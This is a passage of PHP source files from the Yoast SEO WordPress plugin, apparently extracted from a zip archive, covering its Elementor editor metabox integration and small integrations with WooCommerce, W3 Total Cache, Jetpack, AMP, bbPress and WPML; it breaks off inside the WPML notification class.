use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Meta_Fields_Presenter;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Integrates the Yoast SEO metabox in the Elementor editor.
 */
class Elementor implements Integration_Interface {

	/**
	 * Represents the post.
	 *
	 * @var WP_Post|null
	 */
	protected $post;

	/**
	 * Represents the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Represents the capability helper.
	 *
	 * @var Capability_Helper
	 */
	protected $capability;

	/**
	 * Holds the Request_Post.
	 *
	 * @var Request_Post
	 */
	private $request_post;

	/**
	 * Holds whether the socials are enabled.
	 *
	 * @var bool
	 */
	protected $social_is_enabled;

	/**
	 * Holds whether the advanced settings are enabled.
	 *
	 * @var bool
	 */
	protected $is_advanced_metadata_enabled;

	/**
	 * Helper to determine whether or not the SEO analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_SEO
	 */
	protected $seo_analysis;

	/**
	 * Helper to determine whether or not the readability analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Readability
	 */
	protected $readability_analysis;

	/**
	 * Helper to determine whether or not the inclusive language analysis is enabled.
	 *
	 * @var WPSEO_Metabox_Analysis_Inclusive_Language
	 */
	protected $inclusive_language_analysis;

	/**
	 * Holds the promotion manager.
	 *
	 * @var Promotion_Manager
	 */
	protected $promotion_manager;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Elementor_Edit_Conditional::class ];
	}

	/**
	 * Constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
	 * @param Options_Helper            $options       The options helper.
	 * @param Capability_Helper         $capability    The capability helper.
	 * @param Request_Post              $request_post  The Request_Post.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Options_Helper $options,
		Capability_Helper $capability,
		Request_Post $request_post
	) {
		$this->asset_manager = $asset_manager;
		$this->options       = $options;
		$this->capability    = $capability;
		$this->request_post  = $request_post;

		$this->seo_analysis                 = new WPSEO_Metabox_Analysis_SEO();
		$this->readability_analysis         = new WPSEO_Metabox_Analysis_Readability();
		$this->inclusive_language_analysis  = new WPSEO_Metabox_Analysis_Inclusive_Language();
		$this->social_is_enabled            = $this->options->get( 'opengraph', false ) || $this->options->get( 'twitter', false );
		$this->is_advanced_metadata_enabled = $this->capability->current_user_can( 'wpseo_edit_advanced_metadata' ) || $this->options->get( 'disableadvanced_meta' ) === false;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp_ajax_wpseo_elementor_save', [ $this, 'save_postdata' ] );

		// We need to delay the post type lookup to give other plugins a chance to register custom post types.
		\add_action( 'init', [ $this, 'register_elementor_hooks' ], \PHP_INT_MAX );
	}

	/**
	 * Registers our Elementor hooks.
	 * This is done for pages with metabox on page load and not on ajax request.
	 *
	 * @return void
	 */
	public function register_elementor_hooks() {
		if ( $this->get_metabox_post() === null || ! $this->display_metabox( $this->get_metabox_post()->post_type ) ) {
			return;
		}

		\add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'init' ] );
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function init() {
		$this->asset_manager->register_assets();
		$this->enqueue();
		$this->render_hidden_fields();
	}

	// Below is mostly copied from `class-metabox.php`. That constructor has side-effects we do not need.

	/**
	 * Determines whether the metabox should be shown for the passed identifier.
	 *
	 * By default, the check is done for post types, but can also be used for taxonomies.
	 *
	 * @param string|null $identifier The identifier to check.
	 * @param string      $type       The type of object to check. Defaults to post_type.
	 *
	 * @return bool Whether the metabox should be displayed.
	 */
	public function display_metabox( $identifier = null, $type = 'post_type' ) {
		return WPSEO_Utils::is_metabox_active( $identifier, $type );
	}

	/**
	 * Saves the WP SEO metadata for posts.
	 *
	 * Outputs JSON via wp_send_json then stops code execution.
	 *
	 * {@internal $_POST parameters are validated via sanitize_post_meta().}}
	 *
	 * @return void
	 */
	public function save_postdata() {
		global $post;

		if ( ! isset( $_POST['post_id'] ) || ! \is_string( $_POST['post_id'] ) ) {
			\wp_send_json_error( 'Bad Request', 400 );
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: No sanitization needed because we cast to an integer.
		$post_id = (int) \wp_unslash( $_POST['post_id'] );

		if ( $post_id <= 0 ) {
			\wp_send_json_error( 'Bad Request', 400 );
		}

		if ( ! \current_user_can( 'edit_post', $post_id ) ) {
			\wp_send_json_error( 'Forbidden', 403 );
		}

		\check_ajax_referer( 'wpseo_elementor_save', '_wpseo_elementor_nonce' );

		// Bail if this is a multisite installation and the site has been switched.
		if ( \is_multisite() && \ms_is_switched() ) {
			\wp_send_json_error( 'Switched multisite', 409 );
		}

		\clean_post_cache( $post_id );
		// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
		$post = \get_post( $post_id );

		if ( ! \is_object( $post ) ) {
			// Non-existent post.
			\wp_send_json_error( 'Post not found', 400 );
		}

		\do_action( 'wpseo_save_compare_data', $post );

		// Initialize meta, amongst other things it registers sanitization.
		WPSEO_Meta::init();

		$social_fields = [];
		if ( $this->social_is_enabled ) {
			$social_fields = WPSEO_Meta::get_meta_field_defs( 'social', $post->post_type );
		}

		// The below methods use the global post so make sure it is setup.
		\setup_postdata( $post );
		$meta_boxes = \apply_filters( 'wpseo_save_metaboxes', [] );
		$meta_boxes = \array_merge(
			$meta_boxes,
			WPSEO_Meta::get_meta_field_defs( 'general', $post->post_type ),
			WPSEO_Meta::get_meta_field_defs( 'advanced', $post->post_type ),
			$social_fields,
			WPSEO_Meta::get_meta_field_defs( 'schema', $post->post_type )
		);

		foreach ( $meta_boxes as $key => $meta_box ) {
			// If analysis is disabled remove that analysis score value from the DB.
			if ( $this->is_meta_value_disabled( $key ) ) {
				WPSEO_Meta::delete( $key, $post_id );
				continue;
			}

			$data       = null;
			$field_name = WPSEO_Meta::$form_prefix . $key;

			if ( $meta_box['type'] === 'checkbox' ) {
				$data = isset( $_POST[ $field_name ] ) ? 'on' : 'off';
			}
			else {
				if ( isset( $_POST[ $field_name ] ) ) {
					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Sanitized through sanitize_post_meta.
					$data = \wp_unslash( $_POST[ $field_name ] );

					// For multi-select.
					if ( \is_array( $data ) ) {
						$data = \array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $data );
					}

					if ( \is_string( $data ) ) {
						$data = ( $key !== 'canonical' ) ? WPSEO_Utils::sanitize_text_field( $data ) : WPSEO_Utils::sanitize_url( $data );
					}
				}

				// Reset options when no entry is present with multiselect - only applies to `meta-robots-adv` currently.
				if ( ! isset( $_POST[ $field_name ] ) && ( $meta_box['type'] === 'multiselect' ) ) {
					$data = [];
				}
			}

			if ( $data !== null ) {
				WPSEO_Meta::set_value( $key, $data, $post_id );
			}
		}

		if ( isset( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) && \is_string( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) ) {
			$slug = \sanitize_title( \wp_unslash( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) );
			if ( $post->post_name !== $slug ) {
				$post_array              = $post->to_array();
				$post_array['post_name'] = $slug;

				$save_successful = \wp_insert_post( $post_array );
				if ( \is_wp_error( $save_successful ) ) {
					\wp_send_json_error( 'Slug not saved', 400 );
				}

				// Update the post object to ensure we have the actual slug.
				// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Updating the post is needed to get the current slug.
				$post = \get_post( $post_id );
				if ( ! \is_object( $post ) ) {
					\wp_send_json_error( 'Updated slug not found', 400 );
				}
			}
		}

		\do_action( 'wpseo_saved_postdata' );

		// Output the slug, because it is processed by WP and we need the actual slug again.
		\wp_send_json_success( [ 'slug' => $post->post_name ] );
	}

	/**
	 * Determines if the given meta value key is disabled.
	 *
	 * @param string $key The key of the meta value.
	 *
	 * @return bool Whether the given meta value key is disabled.
	 */
	public function is_meta_value_disabled( $key ) {
		if ( $key === 'linkdex' && ! $this->seo_analysis->is_enabled() ) {
			return true;
		}

		if ( $key === 'content_score' && ! $this->readability_analysis->is_enabled() ) {
			return true;
		}

		if ( $key === 'inclusive_language_score' && ! $this->inclusive_language_analysis->is_enabled() ) {
			return true;
		}

		return false;
	}

	/**
	 * Enqueues all the needed JS and CSS.
	 *
	 * @return void
	 */
	public function enqueue() {
		$post_id = \get_queried_object_id();
		if ( empty( $post_id ) ) {
			$post_id = 0;
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) ) {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Recommended -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
				$post_id = (int) \wp_unslash( $_GET['post'] );
			}
		}

		if ( $post_id !== 0 ) {
			// Enqueue files needed for upload functionality.
			\wp_enqueue_media( [ 'post' => $post_id ] );
		}

		$this->asset_manager->enqueue_style( 'admin-global' );
		$this->asset_manager->enqueue_style( 'metabox-css' );
		$this->asset_manager->enqueue_style( 'scoring' );
		$this->asset_manager->enqueue_style( 'monorepo' );
		$this->asset_manager->enqueue_style( 'admin-css' );
		$this->asset_manager->enqueue_style( 'ai-generator' );
		$this->asset_manager->enqueue_style( 'elementor' );

		$this->asset_manager->enqueue_script( 'admin-global' );
		$this->asset_manager->enqueue_script( 'elementor' );

		$this->asset_manager->localize_script( 'elementor', 'wpseoAdminGlobalL10n', \YoastSEO()->helpers->wincher->get_admin_global_links() );
		$this->asset_manager->localize_script( 'elementor', 'wpseoAdminL10n', WPSEO_Utils::get_admin_l10n() );
		$this->asset_manager->localize_script( 'elementor', 'wpseoFeaturesL10n', WPSEO_Utils::retrieve_enabled_features() );

		$plugins_script_data = [
			'replaceVars' => [
				'replace_vars'             => $this->get_replace_vars(),
				'recommended_replace_vars' => $this->get_recommended_replace_vars(),
				'hidden_replace_vars'      => $this->get_hidden_replace_vars(),
				'scope'                    => $this->determine_scope(),
				'has_taxonomies'           => $this->current_post_type_has_taxonomies(),
			],
			'shortcodes'  => [
				'wpseo_shortcode_tags'          => $this->get_valid_shortcode_tags(),
				'wpseo_filter_shortcodes_nonce' => \wp_create_nonce( 'wpseo-filter-shortcodes' ),
			],
		];

		$worker_script_data = [
			'url'                     => \YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-analysis-worker' ),
			'dependencies'            => \YoastSEO()->helpers->asset->get_dependency_urls_by_handle( 'yoast-seo-analysis-worker' ),
			'keywords_assessment_url' => \YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-used-keywords-assessment' ),
			'log_level'               => WPSEO_Utils::get_analysis_worker_log_level(),
			// We need to make the feature flags separately available inside of the analysis web worker.
			'enabled_features'        => WPSEO_Utils::retrieve_enabled_features(),
		];

		$permalink        = $this->get_permalink();
		$page_on_front    = (int) \get_option( 'page_on_front' );
		$homepage_is_page = \get_option( 'show_on_front' ) === 'page';
		$is_front_page    = $homepage_is_page && $page_on_front === $post_id;

		$script_data = [
			'metabox'                   => $this->get_metabox_script_data( $permalink ),
			'isPost'                    => true,
			'isBlockEditor'             => WP_Screen::get()->is_block_editor(),
			'isElementorEditor'         => true,
			'postStatus'                => \get_post_status( $post_id ),
			'postType'                  => \get_post_type( $post_id ),
			'analysis'                  => [
				'plugins' => $plugins_script_data,
				'worker'  => $worker_script_data,
			],
			'usedKeywordsNonce'         => \wp_create_nonce( 'wpseo-keyword-usage-and-post-types' ),
			'isFrontPage'               => $is_front_page,
		];

		/**
		 * The website information repository.
		 *
		 * @var $repo Website_Information_Repository
		 */
		$repo             = \YoastSEO()->classes->get( Website_Information_Repository::class );
		$site_information = $repo->get_post_site_information();
		$site_information->set_permalink( $permalink );
		$script_data = \array_merge_recursive( $site_information->get_legacy_site_information(), $script_data );

		$this->asset_manager->localize_script( 'elementor', 'wpseoScriptData', $script_data );
		$this->asset_manager->enqueue_user_language_script();
	}

	/**
	 * Renders the metabox hidden fields.
	 *
	 * @return void
	 */
	protected function render_hidden_fields() {
		// Wrap in a form with an action and post_id for the submit.
		\printf(
			'<form id="yoast-form" method="post" action="%1$s"><input type="hidden" name="action" value="wpseo_elementor_save" /><input type="hidden" id="post_ID" name="post_id" value="%2$s" />',
			\esc_url( \admin_url( 'admin-ajax.php' ) ),
			\esc_attr( $this->get_metabox_post()->ID )
		);

		\wp_nonce_field( 'wpseo_elementor_save', '_wpseo_elementor_nonce' );
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
		echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'general' );

		if ( $this->is_advanced_metadata_enabled ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
			echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'advanced' );
		}

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
		echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'schema', $this->get_metabox_post()->post_type );

		if ( $this->social_is_enabled ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
			echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'social' );
		}

		\printf(
			'<input type="hidden" id="%1$s" name="%1$s" value="%2$s" />',
			\esc_attr( WPSEO_Meta::$form_prefix . 'slug' ),
			/**
			 * It is important that this slug value is the same as in the database.
			 * If the DB value is empty we can auto-generate a slug.
			 * But if not empty, we should not touch it anymore.
			 */
			\esc_attr( $this->get_metabox_post()->post_name )
		);

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output should be escaped in the filter.
		echo \apply_filters( 'wpseo_elementor_hidden_fields', '' );

		echo '</form>';
	}

	/**
	 * Returns post in metabox context.
	 *
	 * @return WP_Post|null
	 */
	protected function get_metabox_post() {
		if ( $this->post !== null ) {
			return $this->post;
		}

		$this->post = $this->request_post->get_post();

		return $this->post;
	}

	/**
	 * Passes variables to js for use with the post-scraper.
	 *
	 * @param string $permalink The permalink.
	 *
	 * @return array
	 */
	protected function get_metabox_script_data( $permalink ) {
		$post_formatter = new WPSEO_Metabox_Formatter(
			new WPSEO_Post_Metabox_Formatter( $this->get_metabox_post(), [], $permalink )
		);

		$values = $post_formatter->get_values();

		/** This filter is documented in admin/filters/class-cornerstone-filter.php. */
		$post_types = \apply_filters( 'wpseo_cornerstone_post_types', \YoastSEO()->helpers->post_type->get_accessible_post_types() );
		if ( $values['cornerstoneActive'] && ! \in_array( $this->get_metabox_post()->post_type, $post_types, true ) ) {
			$values['cornerstoneActive'] = false;
		}

		$values['elementorMarkerStatus'] = $this->is_highlighting_available() ? 'enabled' : 'hidden';

		return $values;
	}

	/**
	 * Gets the permalink.
	 *
	 * @return string
	 */
	protected function get_permalink(): string {
		$permalink = '';

		if ( \is_object( $this->get_metabox_post() ) ) {
			$permalink = \get_sample_permalink( $this->get_metabox_post()->ID );
			$permalink = $permalink[0];
		}

		return $permalink;
	}

	/**
	 * Checks whether the highlighting functionality is available for Elementor:
	 * - in Free it's always available (as an upsell).
	 * - in Premium it's available as long as the version is 21.8-RC0 or above.
	 *
	 * @return bool Whether the highlighting functionality is available.
	 */
	private function is_highlighting_available() {
		$is_premium      = \YoastSEO()->helpers->product->is_premium();
		$premium_version = \YoastSEO()->helpers->product->get_premium_version();

		return ! $is_premium || \version_compare( $premium_version, '21.8-RC0', '>=' );
	}

	/**
	 * Prepares the replace vars for localization.
	 *
	 * @return array Replace vars.
	 */
	protected function get_replace_vars() {
		$cached_replacement_vars = [];

		$vars_to_cache = [
			'date',
			'id',
			'sitename',
			'sitedesc',
			'sep',
			'page',
			'currentyear',
			'currentdate',
			'currentmonth',
			'currentday',
			'tag',
			'category',
			'category_title',
			'primary_category',
			'pt_single',
			'pt_plural',
			'modified',
			'name',
			'user_description',
			'pagetotal',
			'pagenumber',
			'post_year',
			'post_month',
			'post_day',
			'author_first_name',
			'author_last_name',
			'permalink',
			'post_content',
		];

		foreach ( $vars_to_cache as $var ) {
			$cached_replacement_vars[ $var ] = \wpseo_replace_vars( '%%' . $var . '%%', $this->get_metabox_post() );
		}

		// Merge custom replace variables with the WordPress ones.
		return \array_merge( $cached_replacement_vars, $this->get_custom_replace_vars( $this->get_metabox_post() ) );
	}

	/**
	 * Prepares the recommended replace vars for localization.
	 *
	 * @return array Recommended replacement variables.
	 */
	protected function get_recommended_replace_vars() {
		$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();

		// What is recommended depends on the current context.
		$post_type = $recommended_replace_vars->determine_for_post( $this->get_metabox_post() );

		return $recommended_replace_vars->get_recommended_replacevars_for( $post_type );
	}

	/**
	 * Returns the list of replace vars that should be hidden inside the editor.
	 *
	 * @return string[] The hidden replace vars.
	 */
	protected function get_hidden_replace_vars() {
		return ( new WPSEO_Replace_Vars() )->get_hidden_replace_vars();
	}

	/**
	 * Gets the custom replace variables for custom taxonomies and fields.
	 *
	 * @param WP_Post $post The post to check for custom taxonomies and fields.
	 *
	 * @return array Array containing all the replacement variables.
	 */
	protected function get_custom_replace_vars( $post ) {
		return [
			'custom_fields'     => $this->get_custom_fields_replace_vars( $post ),
			'custom_taxonomies' => $this->get_custom_taxonomies_replace_vars( $post ),
		];
	}

	/**
	 * Gets the custom replace variables for custom taxonomies.
	 *
	 * @param WP_Post $post The post to check for custom taxonomies.
	 *
	 * @return array Array containing all the replacement variables.
	 */
	protected function get_custom_taxonomies_replace_vars( $post ) {
		$taxonomies          = \get_object_taxonomies( $post, 'objects' );
		$custom_replace_vars = [];

		foreach ( $taxonomies as $taxonomy_name => $taxonomy ) {

			if ( \is_string( $taxonomy ) ) { // If attachment, see https://core.trac.wordpress.org/ticket/37368 .
				$taxonomy_name = $taxonomy;
				$taxonomy      = \get_taxonomy( $taxonomy_name );
			}

			if ( $taxonomy->_builtin && $taxonomy->public ) {
				continue;
			}

			$custom_replace_vars[ $taxonomy_name ] = [
				'name'        => $taxonomy->name,
				'description' => $taxonomy->description,
			];
		}

		return $custom_replace_vars;
	}

	/**
	 * Gets the custom replace variables for custom fields.
	 *
	 * @param WP_Post $post The post to check for custom fields.
	 *
	 * @return array Array containing all the replacement variables.
	 */
	protected function get_custom_fields_replace_vars( $post ) {
		$custom_replace_vars = [];

		// If no post object is passed, return the empty custom_replace_vars array.
		if ( ! \is_object( $post ) ) {
			return $custom_replace_vars;
		}

		$custom_fields = \get_post_custom( $post->ID );

		// Simply concatenate all fields containing replace vars so we can handle them all with a single regex find.
		$replace_vars_fields = \implode(
			' ',
			[
				\YoastSEO()->meta->for_post( $post->ID )->presentation->title,
				\YoastSEO()->meta->for_post( $post->ID )->presentation->meta_description,
			]
		);

		\preg_match_all( '/%%cf_([A-Za-z0-9_]+)%%/', $replace_vars_fields, $matches );
		$fields_to_include = $matches[1];
		foreach ( $custom_fields as $custom_field_name => $custom_field ) {
			// Skip private custom fields.
			if ( \substr( $custom_field_name, 0, 1 ) === '_' ) {
				continue;
			}

			// Skip custom fields that are not used, new ones will be fetched dynamically.
			if ( ! \in_array( $custom_field_name, $fields_to_include, true ) ) {
				continue;
			}

			// Skip custom field values that are serialized.
			if ( \is_serialized( $custom_field[0] ) ) {
				continue;
			}

			$custom_replace_vars[ $custom_field_name ] = $custom_field[0];
		}

		return $custom_replace_vars;
	}

	/**
	 * Determines the scope based on the post type.
	 * This can be used by the replacevar plugin to determine if a replacement needs to be executed.
	 *
	 * @return string String describing the current scope.
	 */
	protected function determine_scope() {
		if ( $this->get_metabox_post()->post_type === 'page' ) {
			return 'page';
		}

		return 'post';
	}

	/**
	 * Determines whether or not the current post type has registered taxonomies.
	 *
	 * @return bool Whether the current post type has taxonomies.
	 */
	protected function current_post_type_has_taxonomies() {
		$post_taxonomies = \get_object_taxonomies( $this->get_metabox_post()->post_type );

		return ! empty( $post_taxonomies );
	}

	/**
	 * Returns an array with shortcode tags for all registered shortcodes.
	 *
	 * @return array
	 */
	protected function get_valid_shortcode_tags() {
		$shortcode_tags = [];

		foreach ( $GLOBALS['shortcode_tags'] as $tag => $description ) {
			$shortcode_tags[] = $tag;
		}

		return $shortcode_tags;
	}
}
PK       ! ߖ    &  third-party/woocommerce-permalinks.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * The permalink watcher.
 */
class Woocommerce_Permalinks implements Integration_Interface {

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ WooCommerce_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Constructor.
	 *
	 * @param Indexable_Helper $indexable_helper Indexable Helper.
	 */
	public function __construct( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Registers the hooks.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_post_types_reset_permalinks', [ $this, 'filter_product_from_post_types' ] );
		\add_action( 'update_option_woocommerce_permalinks', [ $this, 'reset_woocommerce_permalinks' ], 10, 2 );
	}

	/**
	 * Filters the product post type from the post type.
	 *
	 * @param array $post_types The post types to filter.
	 *
	 * @return array The filtered post types.
	 */
	public function filter_product_from_post_types( $post_types ) {
		unset( $post_types['product'] );

		return $post_types;
	}

	/**
	 * Resets the indexables for WooCommerce based on the changed permalink fields.
	 *
	 * @param array $old_value The old value.
	 * @param array $new_value The new value.
	 *
	 * @return void
	 */
	public function reset_woocommerce_permalinks( $old_value, $new_value ) {
		$changed_options = \array_diff( $old_value, $new_value );

		if ( \array_key_exists( 'product_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'post', 'product' );
		}

		if ( \array_key_exists( 'attribute_base', $changed_options ) ) {
			$attribute_taxonomies = $this->get_attribute_taxonomies();

			foreach ( $attribute_taxonomies as $attribute_name ) {
				$this->indexable_helper->reset_permalink_indexables( 'term', $attribute_name );
			}
		}

		if ( \array_key_exists( 'category_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'product_cat' );
		}

		if ( \array_key_exists( 'tag_base', $changed_options ) ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'product_tag' );
		}
	}

	/**
	 * Retrieves the taxonomies based on the attributes.
	 *
	 * @return array The taxonomies.
	 */
	protected function get_attribute_taxonomies() {
		$taxonomies = [];
		foreach ( \wc_get_attribute_taxonomies() as $attribute_taxonomy ) {
			$taxonomies[] = \wc_attribute_taxonomy_name( $attribute_taxonomy->attribute_name );
		}

		$taxonomies = \array_filter( $taxonomies );

		return $taxonomies;
	}
}
PK       ! L<  <    third-party/w3-total-cache.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * W3 Total Cache integration.
 */
class W3_Total_Cache implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ W3_Total_Cache_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * On successful update/add of the taxonomy meta option, flush the W3TC cache.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'add_option_wpseo_taxonomy_meta', 'w3tc_objectcache_flush' );
		\add_action( 'update_option_wpseo_taxonomy_meta', 'w3tc_objectcache_flush' );
	}
}
PK       ! nD  D    third-party/jetpack.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\Jetpack_Conditional;
use Yoast\WP\SEO\Conditionals\Open_Graph_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Jetpack integration.
 */
class Jetpack implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class, Jetpack_Conditional::class, Open_Graph_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'jetpack_enable_open_graph', '__return_false' );
	}
}
PK       ! "F      third-party/amp.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * AMP integration.
 */
class AMP implements Integration_Interface {

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Constructs the AMP integration
	 *
	 * @param Front_End_Integration $front_end The front end integration.
	 */
	public function __construct( Front_End_Integration $front_end ) {
		$this->front_end = $front_end;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'amp_post_template_head', [ $this, 'remove_amp_meta_output' ], 0 );
		\add_action( 'amp_post_template_head', [ $this->front_end, 'call_wpseo_head' ], 9 );
	}

	/**
	 * Removes amp meta output.
	 *
	 * @return void
	 */
	public function remove_amp_meta_output() {
		\remove_action( 'amp_post_template_head', 'amp_post_template_add_title' );
		\remove_action( 'amp_post_template_head', 'amp_post_template_add_canonical' );
		\remove_action( 'amp_post_template_head', 'amp_print_schemaorg_metadata' );
	}
}
PK       ! P      third-party/bbpress.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * BbPress integration.
 */
class BbPress implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * BbPress constructor.
	 *
	 * @codeCoverageIgnore It only sets dependencies.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options->get( 'breadcrumbs-enable' ) !== true ) {
			return;
		}

		/**
		 * If breadcrumbs are active (which they supposedly are if the users has enabled this settings,
		 * there's no reason to have bbPress breadcrumbs as well.
		 *
		 * {@internal The class itself is only loaded when the template tag is encountered
		 *            via the template tag function in the wpseo-functions.php file.}}
		 */
		\add_filter( 'bbp_get_breadcrumb', '__return_false' );
	}
}
PK       ! !8w  w  '  third-party/wpml-wpseo-notification.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Adds a notification to the dashboard if the WPML plugin is installed,
 * but the Yoast SEO Multilingual plugin (a glue plugin to make Yoast SEO and WPML work nicely together)
 * is not.
 */
class WPML_WPSEO_Notification implements Integration_Interface {

	/**
	 * The notification ID.
	 *
	 * @internal
	 */
	public const NOTIFICATION_ID = 'wpml-wpseo-not-installed';

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The WPML WPSEO conditional.
	 *
	 * @var WPML_WPSEO_Conditional
	 */
	protected $wpml_wpseo_conditional;

	/**
	 * WPML WPSEO notification constructor.
	 *
	 * @param Short_Link_Helper         $short_link_helper      The short link helper.
	 * @param Yoast_Notification_Center $notification_center    The notification center.
	 * @param WPML_WPSEO_Conditional    $wpml_wpseo_conditional The WPML WPSEO conditional.
	 */
	public function __construct(
		Short_Link_Helper $short_link_helper,
		Yoast_Notification_Center $notification_center,
		WPML_WPSEO_Conditional $wpml_wpseo_conditional
	) {
		$this->short_link_helper      = $short_link_helper;
		$this->notification_center    = $notification_center;
		$this->wpml_wpseo_conditional = $wpml_wpseo_conditional;
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_notices', [ $this, 'notify_not_installed' ] );
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
